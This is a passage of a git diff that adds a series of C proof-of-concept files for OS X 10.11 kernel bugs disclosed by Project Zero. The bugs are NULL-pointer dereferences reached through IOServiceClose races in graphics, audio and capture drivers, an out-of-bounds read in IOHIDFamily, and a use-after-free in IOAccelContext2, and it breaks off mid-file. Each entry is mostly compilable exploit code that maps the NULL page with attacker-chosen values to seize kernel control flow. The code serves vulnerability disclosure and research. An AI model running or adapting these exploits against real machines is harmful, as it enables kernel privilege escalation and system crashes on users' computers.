userclient connection: %x\n", conn); + + return conn; +} + +void poc() { + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + + pthread_join(t, NULL); +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\x41'; + } + + for (;;) { + poc(); + } + + return 0; +} diff --git a/platforms/osx/dos/39922.c b/platforms/osx/dos/39922.c new file mode 100755 index 000000000..3b5d1c6d9 --- /dev/null +++ b/platforms/osx/dos/39922.c @@ -0,0 +1,182 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783 + +The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :) + +We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +// ianbeer + +// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext + +The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :) + +We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 9; // getAGCData + inputScalarCnt = 0; + inputStructCnt = 0; + outputScalarCnt = 16; + outputStructCnt = 4096; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + OSSpinLockUnlock(&lock); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + +void poc() { + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("AppleMuxControl", 0); + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + + pthread_join(t, NULL); +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\x41'; + } + + for (;;) { + poc(); + } + + return 0; +} diff --git a/platforms/osx/dos/39923.c b/platforms/osx/dos/39923.c new file mode 100755 index 000000000..2edcc1195 --- /dev/null +++ b/platforms/osx/dos/39923.c @@ -0,0 +1,186 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782 + +AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it +in all external methods. + +We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the +other of which makes any external method call. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +// ianbeer + +// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl + +AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it +in all external methods. + +We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the +other of which makes any external method call. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 0; /// anything :) + inputScalarCnt = 0; + inputStructCnt = 0; + outputScalarCnt = 16; + outputStructCnt = 4096; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + OSSpinLockUnlock(&lock); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + +void poc() { + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("NVDC", 0); + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + + pthread_join(t, NULL); +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\x41'; + } + + for (;;) { + poc(); + } + + return 0; +} diff --git a/platforms/osx/dos/39924.c b/platforms/osx/dos/39924.c new file mode 100755 index 000000000..554f59868 --- /dev/null +++ b/platforms/osx/dos/39924.c @@ -0,0 +1,184 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=778 + +IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL. +A series of dereferences from this pointer lead to trivial RIP control. + +We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at +this+0x100. + +By mapping the NULL page into userspace we can control the pointer read. + +tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + +//ianbeer + +//clang -o ioaccel_race ioaccel_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL dereference in IOAccelSharedUserClient2::page_off_resource + +IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL. +A series of dereferences from this pointer lead to trivial RIP control. + +We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at +this+0x100. + +By mapping the NULL page into userspace we can control the pointer read. + +tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 2; + inputScalarCnt = 0; + inputStructCnt = 8; + outputScalarCnt = 0; + outputStructCnt = 0; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + +void poc(){ + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("IntelAccelerator", 6); + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + pthread_join(t, NULL); +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\x41'; + } + + for(;;) { + poc(); + } + return 0; + +} diff --git a/platforms/osx/dos/39925.c b/platforms/osx/dos/39925.c new file mode 100755 index 000000000..35002444a --- /dev/null +++ b/platforms/osx/dos/39925.c @@ -0,0 +1,172 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777 + +Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key. + +If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check +the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL +page we can get trivial RIP control. + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + +// ianbeer + +//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value + +Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key. + +If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check +the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL +page we can get trivial RIP control. + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + + +#include +#include +#include +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 0; + inputScalarCnt = 4; + inputStructCnt = 0; + outputScalarCnt = 16; + outputStructCnt = 40960; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\xff'; + } + + *((uint64_t*)0x28) = 0xffffff4141414141; + + + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("IOAudioEngine", 0); + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + +} diff --git a/platforms/osx/dos/39926.c b/platforms/osx/dos/39926.c new file mode 100755 index 000000000..f449f4e76 --- /dev/null +++ b/platforms/osx/dos/39926.c @@ -0,0 +1,249 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776 + +IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL + +IOReturn IOAudioEngineUserClient::closeClient() +{ + audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); + + if (audioEngine && !isInactive()) { + if (isOnline()) { + stopClient(); + } + audioEngine->clientClosed(this); + audioEngine = NULL; + + + +External method 0 uses audioEngine without checking if it's NULL: + +IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { + + audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); + IOAudioStream * audioStream; + IOReturn result = kIOReturnBadArgument; + + audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); + + audioStream = audioEngine->getStreamForID(audioStreamIndex); + + +Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: + +IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { + IOAudioStream * stream = NULL; + + assert(reserved); + if (reserved->streams) { + stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); + } + + return stream; +} + +getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. + +tested on OS X 10.11.4 (15E65) MacBookAir 5,2 +*/ + +// ianbeer + +// clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL pointer dereference in IOAudioEngine + +IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL + +IOReturn IOAudioEngineUserClient::closeClient() +{ + audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); + + if (audioEngine && !isInactive()) { + if (isOnline()) { + stopClient(); + } + audioEngine->clientClosed(this); + audioEngine = NULL; + + + +External method 0 uses audioEngine without checking if it's NULL: + +IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { + + audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); + IOAudioStream * audioStream; + IOReturn result = kIOReturnBadArgument; + + audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); + + audioStream = audioEngine->getStreamForID(audioStreamIndex); + + +Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: + +IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { + IOAudioStream * stream = NULL; + + assert(reserved); + if (reserved->streams) { + stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); + } + + return stream; +} + +getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. + +tested on OS X 10.11.4 (15E65) MacBookAir 5,2 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 0; + inputScalarCnt = 4; + inputStructCnt = 0; + outputScalarCnt = 16; + outputStructCnt = 40960; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + +int main(int argc, char** argv){ + kern_return_t err; + // re map the null page rw + int var = 0; + err = vm_deallocate(mach_task_self(), 0x0, 0x1000); + if (err != KERN_SUCCESS){ + printf("%x\n", err); + } + vm_address_t addr = 0; + err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); + if (err != KERN_SUCCESS){ + if (err == KERN_INVALID_ADDRESS){ + printf("invalid address\n"); + } + if (err == KERN_NO_SPACE){ + printf("no space\n"); + } + printf("%x\n", err); + } + char* np = 0; + for (int i = 0; i < 0x1000; i++){ + np[i] = '\xff'; + } + + *((uint64_t*)0x28) = 0xffffff4141414141; + + + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + + mach_port_t conn = get_user_client("IOAudioEngine", 0); + + set_params(conn); + OSSpinLockUnlock(&lock); + IOServiceClose(conn); + +} diff --git a/platforms/osx/dos/39927.c b/platforms/osx/dos/39927.c new file mode 100755 index 000000000..fe13ccb0c --- /dev/null +++ b/platforms/osx/dos/39927.c @@ -0,0 +1,191 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774 + +The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum, +which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport: + + ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0] + +handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds +check here too: + + if ( reportType >= kIOHIDReportTypeCount ) + return kIOReturnBadArgument; + +reportType is then used here: + element = GetHeadElement( GetReportHandlerSlot(reportID), + reportType); + + while ( element ) { + shouldTickle |= element->shouldTickleActivity(); + changed |= element->processReport( reportID, + +where GetHeadElement is defined as: + +#define GetHeadElement(slot, type) _reportHandlers[slot].head[type] + +This leads to an OOB read off the head array followed by virtual function calls + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 + +Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers. + +I can provide panic logs if required. +*/ + +// ianbeer + +// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation + +/* +OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type + +The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum, +which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport: + + ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0] + +handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds +check here too: + + if ( reportType >= kIOHIDReportTypeCount ) + return kIOReturnBadArgument; + +reportType is then used here: + element = GetHeadElement( GetReportHandlerSlot(reportID), + reportType); + + while ( element ) { + shouldTickle |= element->shouldTickleActivity(); + changed |= element->processReport( reportID, + +where GetHeadElement is defined as: + +#define GetHeadElement(slot, type) _reportHandlers[slot].head[type] + +This leads to an OOB read off the head array followed by virtual function calls + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 + +Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers. + +I can provide panic logs if required. +*/ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +io_connect_t get_user_client(const char* name, int type) { + kern_return_t err; + CFDictionaryRef matching; + io_service_t service; + + // try IOServiceMatching + matching = IOServiceMatching(name); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching + + if (service == MACH_PORT_NULL) { + // try IOServiceNameMatching + matching = IOServiceNameMatching(name); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + } + + if (service == MACH_PORT_NULL) { + // try everything and look for a partial name match + matching = IOServiceMatching("IOService"); + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + + int found_it = 0; + while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) { + io_name_t object_name; + IOObjectGetClass(service, object_name); + if (strstr(object_name, name)) { + found_it = 1; + break; + } + IOObjectRelease(service); + } + IOObjectRelease(iterator); + + if (!found_it) { + // couldn't find any matches for the name anywhere + return MACH_PORT_NULL; + } + } + + io_connect_t conn = MACH_PORT_NULL; + + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("IOServiceOpen failed: %s\n", mach_error_string(err)); + IOObjectRelease(service); + return MACH_PORT_NULL; + } + IOObjectRelease(service); + + return conn; +} + +kern_return_t poc(io_connect_t client){ + unsigned int selector; + + uint64_t inputScalar[16]; + size_t inputScalarCnt = 0; + + uint8_t inputStruct[4096]; + size_t inputStructCnt = 0; + + uint64_t outputScalar[16]; + uint32_t outputScalarCnt = 0; + + char outputStruct[4096]; + size_t outputStructCnt = 0; + + inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check + inputScalar[1] = 0x00a90000; + inputScalar[2] = 0; + + inputScalarCnt = 3; + + outputStructCnt = 0x1000; + + selector = 12; + + return IOConnectCallMethod( + client, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + + +int main(int argc, char** argv){ + io_connect_t client = get_user_client("AppleUSBTCButtons", 0); + if (client == MACH_PORT_NULL) { + printf("no client\n"); + return 1; + } + + poc(client); + + return 0; +} + diff --git a/platforms/osx/dos/39928.c b/platforms/osx/dos/39928.c new file mode 100755 index 000000000..10111bc93 --- /dev/null +++ b/platforms/osx/dos/39928.c @@ -0,0 +1,143 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=772 + +In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code +setting up shared memory type 2. + +At the moment the lock doesn't protect two threads racing where one reaches +the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at +IOAccelContext+0x610 inside the locked region. + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + +// ianbeer + +// clang -o ioaccel_mem_uaf ioaccel_mem_uaf.c -framework IOKit -framework CoreFoundation -lpthread + + +/* +OS X kernel use-after-free due to bad locking in IOAcceleratorFamily2 + +In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code +setting up shared memory type 2. + +At the moment the lock doesn't protect two threads racing where one reaches +the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at +IOAccelContext+0x610 inside the locked region. + +Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 +*/ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +io_connect_t get_user_client(const char* name, int type) { + kern_return_t err; + CFDictionaryRef matching; + io_service_t service; + + // try IOServiceMatching + matching = IOServiceMatching(name); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching + + if (service == MACH_PORT_NULL) { + // try IOServiceNameMatching + matching = IOServiceNameMatching(name); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + } + + if (service == MACH_PORT_NULL) { + // try everything and look for a partial name match + matching = IOServiceMatching("IOService"); + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + + int found_it = 0; + while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) { + io_name_t object_name; + IOObjectGetClass(service, object_name); + if (strstr(object_name, name)) { + found_it = 1; + break; + } + IOObjectRelease(service); + } + IOObjectRelease(iterator); + + if (!found_it) { + // couldn't find any matches for the name anywhere + return MACH_PORT_NULL; + } + } + + io_connect_t conn = MACH_PORT_NULL; + + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("IOServiceOpen failed: %s\n", mach_error_string(err)); + IOObjectRelease(service); + return MACH_PORT_NULL; + } + IOObjectRelease(service); + + return conn; +} + + +kern_return_t ioconnect_map(io_connect_t conn, int type) { + mach_vm_address_t addr = 0; + mach_vm_size_t size = 0x1000; + return IOConnectMapMemory64( + conn, + type, + mach_task_self(), + &addr, + &size, + kIOMapAnywhere + ); +} + +kern_return_t ioconnect_unmap(io_connect_t conn, int type) { + mach_vm_address_t addr = 0; + mach_vm_size_t size = 0x1000; + return IOConnectUnmapMemory64( + conn, + type, + mach_task_self(), + addr + ); +} + +io_connect_t client = MACH_PORT_NULL; + +void* poc(void* arg) { + for (int i = 0 ; i < 1000; i++) { + ioconnect_map(client, 2); + } + return NULL; +} + +int main(int argc, char** argv){ + for(;;){ + client = get_user_client("IntelAccelerator", 2); + pthread_t t; + 